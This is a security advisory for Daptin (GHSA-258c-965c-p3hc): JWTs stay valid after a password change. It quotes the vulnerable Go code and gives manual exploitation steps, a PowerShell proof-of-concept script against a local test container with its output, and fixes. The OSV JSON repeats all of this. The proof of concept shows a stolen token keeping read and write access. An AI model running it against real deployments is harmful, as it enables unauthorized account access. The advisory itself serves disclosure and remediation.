GHSA-258C-965C-P3HC
Vulnerability from github – Published: 2026-05-07 02:57 – Updated: 2026-05-07 02:57
VLAI
Summary
Daptin's Session Management Vulnerability Leads to Insufficient Session Expiration After Password Change
Details
Summary
A session invalidation vulnerability exists in daptin's authentication system where JSON Web Tokens (JWTs) remain fully valid after a user changes their password. The JWT validation middleware (CheckJWT) only verifies token signature, expiry, issuer, and signing algorithm — it does not check whether the token was issued before the most recent password change. The password update code path hashes the new password but never calls InvalidateAuthCacheForEmail() and never revokes or blacklists existing tokens. This effectively negating password rotation as an incident response control.
Vulnerable Files
daptin/server/jwt/jwtmiddleware.go— JWT validation without session versioningdaptin/server/resource/resource_update.go— password update without session invalidationdaptin/server/actions/action_generate_jwt_token.go— JWT claims lack password versiondaptin/server/auth/auth.go—InvalidateAuthCacheForEmailexists but not called on updatedaptin/server/resource/columns.go— password change action wiring
Vulnerable Code Snippet
1. JWT validation checks nothing beyond signature/expiry/issuer (jwtmiddleware.go:232-260):
// Now parse the token
parsedToken, err := jwt.Parse(token, m.Options.ValidationKeyGetter)
// Check if there was an error in parsing...
if err != nil {
m.logf("Error parsing token: %v", err)
m.Options.ErrorHandler(w, r, err.Error())
return nil, fmt.Errorf("Error parsing token: %v", err)
}
if parsedToken.Claims.(jwt.MapClaims)["iss"] != m.Options.Issuer {
return nil, fmt.Errorf("Invalid issuer: %v", parsedToken.Header["iss"])
}
if m.Options.SigningMethod != nil && m.Options.SigningMethod.Alg() != parsedToken.Header["alg"] {
// ... algorithm check
}
// Check if the parsed token is valid...
if !parsedToken.Valid {
m.logf("Token is invalid")
m.Options.ErrorHandler(w, r, "The token isn't valid")
return nil, errors.New("Token is invalid")
}
No check exists for password version, session version, or token revocation status. A token issued before a password change passes all these checks identically.
2. Password update hashes new password but never invalidates sessions (resource_update.go:282-287):
if col.ColumnType == "password" {
val, err = BcryptHashString(val.(string))
if err != nil {
log.Errorf("Failed to convert string to bcrypt hash, not storing the value: %v", err)
continue
}
}
The new bcrypt hash is stored, but no call to auth.InvalidateAuthCacheForEmail() is made, and no token revocation mechanism is triggered.
3. JWT claims lack any password-bound claim (action_generate_jwt_token.go:74-83):
token := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{
"email": existingUser["email"],
"sub": daptinid.InterfaceToDIR(existingUser["reference_id"]).String(),
"name": existingUser["name"],
"nbf": timeNow.Unix(),
"exp": timeNow.Add(time.Duration(d.tokenLifeTime) * time.Hour).Unix(),
"iss": d.jwtTokenIssuer,
"iat": timeNow.Unix(),
"jti": u.String(),
})
Claims include email, sub, name, nbf, exp, iss, iat, jti — but no pwd_version or equivalent claim that could be compared against a server-side value during validation.
4. InvalidateAuthCacheForEmail exists but is NOT called on password update (auth.go:520-530):
func InvalidateAuthCacheForEmail(email string) {
if olricCache == nil {
return
}
_, err := olricCache.Delete(context.Background(), email)
if err != nil {
log.Warnf("failed to invalidate auth cache for %s: %v", email, err)
}
}
This function is called in resource_create.go:470, resource_delete.go:73, and dbmethods.go:1194 — but never in resource_update.go, which is the code path for password changes.
PoC (Proof of Concept)
Manual Exploitation Steps
- Create a user account on the daptin instance
- Sign in and capture the JWT (this becomes the "stolen" token)
- Change the user's password via
PATCH /api/user_account/{id} - Reuse the original JWT — it still returns
HTTP 200with full data access - Confirm the old password no longer works for new login (password did change)
- Confirm the old token still allows write operations (full CRUD retained)
Result: HTTP 200 — write operations also succeed with the old token.
Automation PoC
# VULN-04: No Session Invalidation After Password Change
# CWE-613 | daptin v0.9.82
# Proves: old JWT stays valid after password change
$BASE = "http://127.0.0.1:6336"
Write-Host "`n===== VULN-04: Session Invalidation Test =====`n" -ForegroundColor Cyan
# Step 0: Clean restart
Write-Host "[0] Restarting container..." -ForegroundColor Yellow
docker compose -f "c:\Users\Vashu\Desktop\Projects\ZeroDay\cve_hunt\daptin\docker-compose.yml" restart daptin
Start-Sleep 8
# Step 1: Create victim user
Write-Host "[1] Creating victim user..." -ForegroundColor Yellow
$s = @{attributes=@{email='victim04@p.me';password='OrigPass123!';passwordConfirm='OrigPass123!';name='victim04'}} | ConvertTo-Json
try { Invoke-RestMethod -Uri "$BASE/action/user_account/signup" -Method Post -ContentType 'application/json' -Body $s | Out-Null } catch {}
# Step 2: Sign in, capture OLD token (simulates stolen token)
Write-Host "[2] Signing in for OLD token..." -ForegroundColor Yellow
$si = @{attributes=@{email='victim04@p.me';password='OrigPass123!'}} | ConvertTo-Json
$r = Invoke-RestMethod -Uri "$BASE/action/user_account/signin" -Method Post -ContentType 'application/json' -Body $si
$OLD = ($r | Where-Object {$_.ResponseType -eq 'client.store.set'}).Attributes.value
Write-Host " OLD token captured (len=$($OLD.Length))" -ForegroundColor Green
# Step 3: Get victim ID
$ua = Invoke-RestMethod -Uri "$BASE/api/user_account" -Headers @{Authorization="Bearer $OLD"}
$ID = ($ua.data | Where-Object {$_.attributes.email -eq 'victim04@p.me'} | Select-Object -First 1).id
Write-Host "[3] Victim ID: $ID" -ForegroundColor Green
# Step 4: VICTIM CHANGES PASSWORD
Write-Host "[4] *** VICTIM CHANGES PASSWORD ***" -ForegroundColor Red
$p = @{data=@{type='user_account';id=$ID;attributes=@{password='NewPass456!'}}} | ConvertTo-Json -Depth 8
Invoke-RestMethod -Uri "$BASE/api/user_account/$ID" -Method Patch -Headers @{Authorization="Bearer $OLD"} -ContentType 'application/vnd.api+json' -Body $p | Out-Null
Write-Host " Password changed." -ForegroundColor Green
# Step 5: OLD token still works?
Write-Host "[5] Testing OLD token after password change..." -ForegroundColor Red
try {
$t = Invoke-RestMethod -Uri "$BASE/api/user_account" -Headers @{Authorization="Bearer $OLD"}
Write-Host " RESULT: OLD token STILL VALID (HTTP 200, $($t.data.Count) records)" -ForegroundColor Red
Write-Host " *** VULN CONFIRMED: Session NOT invalidated after password change ***" -ForegroundColor Red
} catch {
Write-Host " RESULT: OLD token REJECTED" -ForegroundColor Green
}
# Step 6: Write test with OLD token
Write-Host "[6] Write test with OLD token..." -ForegroundColor Yellow
try {
$wp = @{data=@{type='user_account';id=$ID;attributes=@{name='hacked_by_old_token'}}} | ConvertTo-Json -Depth 8
Invoke-RestMethod -Uri "$BASE/api/user_account/$ID" -Method Patch -Headers @{Authorization="Bearer $OLD"} -ContentType 'application/vnd.api+json' -Body $wp | Out-Null
Write-Host " WRITE SUCCEEDED with old token!" -ForegroundColor Red
} catch {
Write-Host " Write rejected" -ForegroundColor Green
}
# Step 7: New password works for login?
Write-Host "[7] New password login..." -ForegroundColor Yellow
$si2 = @{attributes=@{email='victim04@p.me';password='NewPass456!'}} | ConvertTo-Json
$r2 = Invoke-RestMethod -Uri "$BASE/action/user_account/signin" -Method Post -ContentType 'application/json' -Body $si2
$NEW = ($r2 | Where-Object {$_.ResponseType -eq 'client.store.set'}).Attributes.value
Write-Host " New password login: SUCCESS" -ForegroundColor Green
# Step 8: Old password rejected for login?
Write-Host "[8] Old password login attempt..." -ForegroundColor Yellow
$si3 = @{attributes=@{email='victim04@p.me';password='OrigPass123!'}} | ConvertTo-Json
try {
Invoke-RestMethod -Uri "$BASE/action/user_account/signin" -Method Post -ContentType 'application/json' -Body $si3 | Out-Null
Write-Host " Old password STILL WORKS (unexpected!)" -ForegroundColor Red
} catch {
Write-Host " Old password REJECTED (password change confirmed)" -ForegroundColor Green
}
# Step 9: Multi-token test
Write-Host "[9] Multi-token persistence test..." -ForegroundColor Yellow
$toks = @()
for ($i=0; $i -lt 3; $i++) {
$rl = Invoke-RestMethod -Uri "$BASE/action/user_account/signin" -Method Post -ContentType 'application/json' -Body $si2
$toks += ($rl | Where-Object {$_.ResponseType -eq 'client.store.set'}).Attributes.value
}
$p2 = @{data=@{type='user_account';id=$ID;attributes=@{password='ThirdPass789!'}}} | ConvertTo-Json -Depth 8
Invoke-RestMethod -Uri "$BASE/api/user_account/$ID" -Method Patch -Headers @{Authorization="Bearer $($toks[0])"} -ContentType 'application/vnd.api+json' -Body $p2 | Out-Null
Write-Host " Password changed again. Testing all 3 pre-change tokens:"
for ($i=0; $i -lt $toks.Count; $i++) {
try {
Invoke-RestMethod -Uri "$BASE/api/user_account" -Headers @{Authorization="Bearer $($toks[$i])"} | Out-Null
Write-Host " Token $($i+1): STILL VALID" -ForegroundColor Red
} catch {
Write-Host " Token $($i+1): REJECTED" -ForegroundColor Green
}
}
# Step 10: JWT decode
Write-Host "`n[10] JWT Claims Analysis:" -ForegroundColor Yellow
if ($OLD) {
$parts = $OLD.Split('.')
$pl = $parts[1]
$pad = 4 - ($pl.Length % 4)
if ($pad -ne 4) { $pl += "=" * $pad }
$pl = $pl.Replace("-","+").Replace("_","/")
$bytes = [Convert]::FromBase64String($pl)
$json = [Text.Encoding]::UTF8.GetString($bytes)
Write-Host " Payload: $json" -ForegroundColor Cyan
}
Write-Host " Missing: pwd_version / session_version claim" -ForegroundColor Red
Write-Host " Missing: token revocation on password change" -ForegroundColor Red
Write-Host "`n===== TEST COMPLETE =====" -ForegroundColor Cyan
Verified test output:
[5] Testing OLD token after password change...
RESULT: OLD token STILL VALID (HTTP 200, 3 records)
*** VULN CONFIRMED: Session NOT invalidated after password change ***
[6] Write test with OLD token...
WRITE SUCCEEDED with old token!
[7] New password login...
New password login: SUCCESS
[8] Old password login attempt...
Old password REJECTED (password change confirmed)
[9] Multi-token persistence test...
Password changed again. Testing all 3 pre-change tokens:
Token 1: STILL VALID
Token 2: STILL VALID
Token 3: STILL VALID
[10] JWT Claims Analysis:
Payload: {"email":"victim04@p.me","exp":1776591689,"iat":1776332489,
"iss":"daptin-2eda69","jti":"d8e5e969-3ff4-41e9-a6c0-a63b3cf1534d",
"name":"victim04","nbf":1776332489,"sub":"1a857f2e-42d2-4314-afe9-d782e1b84dbb"}
Missing: pwd_version / session_version claim
Missing: token revocation on password change
Recommended Fix
- Add a
password_versioncolumn to theuser_accounttable (integer, incremented on each password change) - Include
pwd_versionin JWT claims at token generation time (action_generate_jwt_token.go:74) - Check
pwd_versionduring validation inCheckJWT()(jwtmiddleware.go:232-260) — compare the claim value against the current database value; reject if mismatched - Call
InvalidateAuthCacheForEmail()inresource_update.gowhen a password column is updated, to force the auth cache to re-fetch user state
Severity
6.5 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/daptin/daptin"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.11.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-613"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T02:57:54Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nA session invalidation vulnerability exists in daptin\u0027s authentication system where JSON Web Tokens (JWTs) remain fully valid after a user changes their password. The JWT validation middleware (`CheckJWT`) only verifies token signature, expiry, issuer, and signing algorithm \u2014 it does not check whether the token was issued before the most recent password change. The password update code path hashes the new password but never calls `InvalidateAuthCacheForEmail()` and never revokes or blacklists existing tokens. This effectively negating password rotation as an incident response control.\n\n#### Vulnerable Files\n\n* `daptin/server/jwt/jwtmiddleware.go` \u2014 JWT validation without session versioning\n* `daptin/server/resource/resource_update.go` \u2014 password update without session invalidation\n* `daptin/server/actions/action_generate_jwt_token.go` \u2014 JWT claims lack password version\n* `daptin/server/auth/auth.go` \u2014 `InvalidateAuthCacheForEmail` exists but not called on update\n* `daptin/server/resource/columns.go` \u2014 password change action wiring\n\n#### Vulnerable Code Snippet\n\n**1. JWT validation checks nothing beyond signature/expiry/issuer (jwtmiddleware.go:232-260):**\n\n```go\n// Now parse the token\nparsedToken, err := jwt.Parse(token, m.Options.ValidationKeyGetter)\n\n// Check if there was an error in parsing...\nif err != nil {\n m.logf(\"Error parsing token: %v\", err)\n m.Options.ErrorHandler(w, r, err.Error())\n return nil, fmt.Errorf(\"Error parsing token: %v\", err)\n}\n\nif parsedToken.Claims.(jwt.MapClaims)[\"iss\"] != m.Options.Issuer {\n return nil, fmt.Errorf(\"Invalid issuer: %v\", parsedToken.Header[\"iss\"])\n}\n\nif m.Options.SigningMethod != nil \u0026\u0026 m.Options.SigningMethod.Alg() != parsedToken.Header[\"alg\"] {\n // ... algorithm check\n}\n\n// Check if the parsed token is valid...\nif !parsedToken.Valid {\n m.logf(\"Token is invalid\")\n m.Options.ErrorHandler(w, r, \"The token isn\u0027t valid\")\n return nil, errors.New(\"Token is invalid\")\n}\n```\n\n**No check exists for password version, session version, or token revocation status.** A token issued before a password change passes all these checks identically.\n\n**2. Password update hashes new password but never invalidates sessions (resource_update.go:282-287):**\n\n```go\nif col.ColumnType == \"password\" {\n val, err = BcryptHashString(val.(string))\n if err != nil {\n log.Errorf(\"Failed to convert string to bcrypt hash, not storing the value: %v\", err)\n continue\n }\n}\n```\n\nThe new bcrypt hash is stored, but no call to `auth.InvalidateAuthCacheForEmail()` is made, and no token revocation mechanism is triggered.\n\n**3. JWT claims lack any password-bound claim (action_generate_jwt_token.go:74-83):**\n\n```go\ntoken := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{\n \"email\": existingUser[\"email\"],\n \"sub\": daptinid.InterfaceToDIR(existingUser[\"reference_id\"]).String(),\n \"name\": existingUser[\"name\"],\n \"nbf\": timeNow.Unix(),\n \"exp\": timeNow.Add(time.Duration(d.tokenLifeTime) * time.Hour).Unix(),\n \"iss\": d.jwtTokenIssuer,\n \"iat\": timeNow.Unix(),\n \"jti\": u.String(),\n})\n```\n\nClaims include `email`, `sub`, `name`, `nbf`, `exp`, `iss`, `iat`, `jti` \u2014 but **no `pwd_version`** or equivalent claim that could be compared against a server-side value during validation.\n\n**4. InvalidateAuthCacheForEmail exists but is NOT called on password update (auth.go:520-530):**\n\n```go\nfunc InvalidateAuthCacheForEmail(email string) {\n if olricCache == nil {\n return\n }\n _, err := olricCache.Delete(context.Background(), email)\n if err != nil {\n log.Warnf(\"failed to invalidate auth cache for %s: %v\", email, err)\n }\n}\n```\n\nThis function is called in `resource_create.go:470`, `resource_delete.go:73`, and `dbmethods.go:1194` \u2014 but **never** in `resource_update.go`, which is the code path for password changes.\n\n### PoC (Proof of Concept)\n\n#### Manual Exploitation Steps\n\n1. Create a user account on the daptin instance\n2. Sign in and capture the JWT (this becomes the \"stolen\" token)\n3. Change the user\u0027s password via `PATCH /api/user_account/{id}`\n4. Reuse the original JWT \u2014 it still returns `HTTP 200` with full data access\n5. Confirm the old password no longer works for new login (password did change)\n6. Confirm the old token still allows write operations (full CRUD retained)\n\n**Result: `HTTP 200`** \u2014 write operations also succeed with the old token.\n\n#### Automation PoC\n\n```\n# VULN-04: No Session Invalidation After Password Change\n# CWE-613 | daptin v0.9.82\n# Proves: old JWT stays valid after password change\n\n$BASE = \"http://127.0.0.1:6336\"\nWrite-Host \"`n===== VULN-04: Session Invalidation Test =====`n\" -ForegroundColor Cyan\n\n# Step 0: Clean restart\nWrite-Host \"[0] Restarting container...\" -ForegroundColor Yellow\ndocker compose -f \"c:\\Users\\Vashu\\Desktop\\Projects\\ZeroDay\\cve_hunt\\daptin\\docker-compose.yml\" restart daptin\nStart-Sleep 8\n\n# Step 1: Create victim user\nWrite-Host \"[1] Creating victim user...\" -ForegroundColor Yellow\n$s = @{attributes=@{email=\u0027victim04@p.me\u0027;password=\u0027OrigPass123!\u0027;passwordConfirm=\u0027OrigPass123!\u0027;name=\u0027victim04\u0027}} | ConvertTo-Json\ntry { Invoke-RestMethod -Uri \"$BASE/action/user_account/signup\" -Method Post -ContentType \u0027application/json\u0027 -Body $s | Out-Null } catch {}\n\n# Step 2: Sign in, capture OLD token (simulates stolen token)\nWrite-Host \"[2] Signing in for OLD token...\" -ForegroundColor Yellow\n$si = @{attributes=@{email=\u0027victim04@p.me\u0027;password=\u0027OrigPass123!\u0027}} | ConvertTo-Json\n$r = Invoke-RestMethod -Uri \"$BASE/action/user_account/signin\" -Method Post -ContentType \u0027application/json\u0027 -Body $si\n$OLD = ($r | Where-Object {$_.ResponseType -eq \u0027client.store.set\u0027}).Attributes.value\nWrite-Host \" OLD token captured (len=$($OLD.Length))\" -ForegroundColor Green\n\n# Step 3: Get victim ID\n$ua = Invoke-RestMethod -Uri \"$BASE/api/user_account\" -Headers @{Authorization=\"Bearer $OLD\"}\n$ID = ($ua.data | Where-Object {$_.attributes.email -eq \u0027victim04@p.me\u0027} | Select-Object -First 1).id\nWrite-Host \"[3] Victim ID: $ID\" -ForegroundColor Green\n\n# Step 4: VICTIM CHANGES PASSWORD\nWrite-Host \"[4] *** VICTIM CHANGES PASSWORD ***\" -ForegroundColor Red\n$p = @{data=@{type=\u0027user_account\u0027;id=$ID;attributes=@{password=\u0027NewPass456!\u0027}}} | ConvertTo-Json -Depth 8\nInvoke-RestMethod -Uri \"$BASE/api/user_account/$ID\" -Method Patch -Headers @{Authorization=\"Bearer $OLD\"} -ContentType \u0027application/vnd.api+json\u0027 -Body $p | Out-Null\nWrite-Host \" Password changed.\" -ForegroundColor Green\n\n# Step 5: OLD token still works?\nWrite-Host \"[5] Testing OLD token after password change...\" -ForegroundColor Red\ntry {\n $t = Invoke-RestMethod -Uri \"$BASE/api/user_account\" -Headers @{Authorization=\"Bearer $OLD\"}\n Write-Host \" RESULT: OLD token STILL VALID (HTTP 200, $($t.data.Count) records)\" -ForegroundColor Red\n Write-Host \" *** VULN CONFIRMED: Session NOT invalidated after password change ***\" -ForegroundColor Red\n} catch {\n Write-Host \" RESULT: OLD token REJECTED\" -ForegroundColor Green\n}\n\n# Step 6: Write test with OLD token\nWrite-Host \"[6] Write test with OLD token...\" -ForegroundColor Yellow\ntry {\n $wp = @{data=@{type=\u0027user_account\u0027;id=$ID;attributes=@{name=\u0027hacked_by_old_token\u0027}}} | ConvertTo-Json -Depth 8\n Invoke-RestMethod -Uri \"$BASE/api/user_account/$ID\" -Method Patch -Headers @{Authorization=\"Bearer $OLD\"} -ContentType \u0027application/vnd.api+json\u0027 -Body $wp | Out-Null\n Write-Host \" WRITE SUCCEEDED with old token!\" -ForegroundColor Red\n} catch {\n Write-Host \" Write rejected\" -ForegroundColor Green\n}\n\n# Step 7: New password works for login?\nWrite-Host \"[7] New password login...\" -ForegroundColor Yellow\n$si2 = @{attributes=@{email=\u0027victim04@p.me\u0027;password=\u0027NewPass456!\u0027}} | ConvertTo-Json\n$r2 = Invoke-RestMethod -Uri \"$BASE/action/user_account/signin\" -Method Post -ContentType \u0027application/json\u0027 -Body $si2\n$NEW = ($r2 | Where-Object {$_.ResponseType -eq \u0027client.store.set\u0027}).Attributes.value\nWrite-Host \" New password login: SUCCESS\" -ForegroundColor Green\n\n# Step 8: Old password rejected for login?\nWrite-Host \"[8] Old password login attempt...\" -ForegroundColor Yellow\n$si3 = @{attributes=@{email=\u0027victim04@p.me\u0027;password=\u0027OrigPass123!\u0027}} | ConvertTo-Json\ntry {\n Invoke-RestMethod -Uri \"$BASE/action/user_account/signin\" -Method Post -ContentType \u0027application/json\u0027 -Body $si3 | Out-Null\n Write-Host \" Old password STILL WORKS (unexpected!)\" -ForegroundColor Red\n} catch {\n Write-Host \" Old password REJECTED (password change confirmed)\" -ForegroundColor Green\n}\n\n# Step 9: Multi-token test\nWrite-Host \"[9] Multi-token persistence test...\" -ForegroundColor Yellow\n$toks = @()\nfor ($i=0; $i -lt 3; $i++) {\n $rl = Invoke-RestMethod -Uri \"$BASE/action/user_account/signin\" -Method Post -ContentType \u0027application/json\u0027 -Body $si2\n $toks += ($rl | Where-Object {$_.ResponseType -eq \u0027client.store.set\u0027}).Attributes.value\n}\n$p2 = @{data=@{type=\u0027user_account\u0027;id=$ID;attributes=@{password=\u0027ThirdPass789!\u0027}}} | ConvertTo-Json -Depth 8\nInvoke-RestMethod -Uri \"$BASE/api/user_account/$ID\" -Method Patch -Headers @{Authorization=\"Bearer $($toks[0])\"} -ContentType \u0027application/vnd.api+json\u0027 -Body $p2 | Out-Null\nWrite-Host \" Password changed again. Testing all 3 pre-change tokens:\"\nfor ($i=0; $i -lt $toks.Count; $i++) {\n try {\n Invoke-RestMethod -Uri \"$BASE/api/user_account\" -Headers @{Authorization=\"Bearer $($toks[$i])\"} | Out-Null\n Write-Host \" Token $($i+1): STILL VALID\" -ForegroundColor Red\n } catch {\n Write-Host \" Token $($i+1): REJECTED\" -ForegroundColor Green\n }\n}\n\n# Step 10: JWT decode\nWrite-Host \"`n[10] JWT Claims Analysis:\" -ForegroundColor Yellow\nif ($OLD) {\n $parts = $OLD.Split(\u0027.\u0027)\n $pl = $parts[1]\n $pad = 4 - ($pl.Length % 4)\n if ($pad -ne 4) { $pl += \"=\" * $pad }\n $pl = $pl.Replace(\"-\",\"+\").Replace(\"_\",\"/\")\n $bytes = [Convert]::FromBase64String($pl)\n $json = [Text.Encoding]::UTF8.GetString($bytes)\n Write-Host \" Payload: $json\" -ForegroundColor Cyan\n}\nWrite-Host \" Missing: pwd_version / session_version claim\" -ForegroundColor Red\nWrite-Host \" Missing: token revocation on password change\" -ForegroundColor Red\n\nWrite-Host \"`n===== TEST COMPLETE =====\" -ForegroundColor Cyan\n```\n\n**Verified test output:**\n\n```\n[5] Testing OLD token after password change...\n RESULT: OLD token STILL VALID (HTTP 200, 3 records)\n *** VULN CONFIRMED: Session NOT invalidated after password change ***\n\n[6] Write test with OLD token...\n WRITE SUCCEEDED with old token!\n\n[7] New password login...\n New password login: SUCCESS\n\n[8] Old password login attempt...\n Old password REJECTED (password change confirmed)\n\n[9] Multi-token persistence test...\n Password changed again. Testing all 3 pre-change tokens:\n Token 1: STILL VALID\n Token 2: STILL VALID\n Token 3: STILL VALID\n\n[10] JWT Claims Analysis:\n Payload: {\"email\":\"victim04@p.me\",\"exp\":1776591689,\"iat\":1776332489,\n \"iss\":\"daptin-2eda69\",\"jti\":\"d8e5e969-3ff4-41e9-a6c0-a63b3cf1534d\",\n \"name\":\"victim04\",\"nbf\":1776332489,\"sub\":\"1a857f2e-42d2-4314-afe9-d782e1b84dbb\"}\n Missing: pwd_version / session_version claim\n Missing: token revocation on password change\n```\n\n## Recommended Fix\n\n1. **Add a `password_version` column** to the `user_account` table (integer, incremented on each password change)\n2. **Include `pwd_version` in JWT claims** at token generation time (`action_generate_jwt_token.go:74`)\n3. **Check `pwd_version` during validation** in `CheckJWT()` (`jwtmiddleware.go:232-260`) \u2014 compare the claim value against the current database value; reject if mismatched\n4. **Call `InvalidateAuthCacheForEmail()`** in `resource_update.go` when a password column is updated, to force the auth cache to re-fetch user state",
"id": "GHSA-258c-965c-p3hc",
"modified": "2026-05-07T02:57:54Z",
"published": "2026-05-07T02:57:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/daptin/daptin/security/advisories/GHSA-258c-965c-p3hc"
},
{
"type": "PACKAGE",
"url": "https://github.com/daptin/daptin"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Daptin\u0027s Session Management Vulnerability Leads to Insufficient Session Expiration After Password Change"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…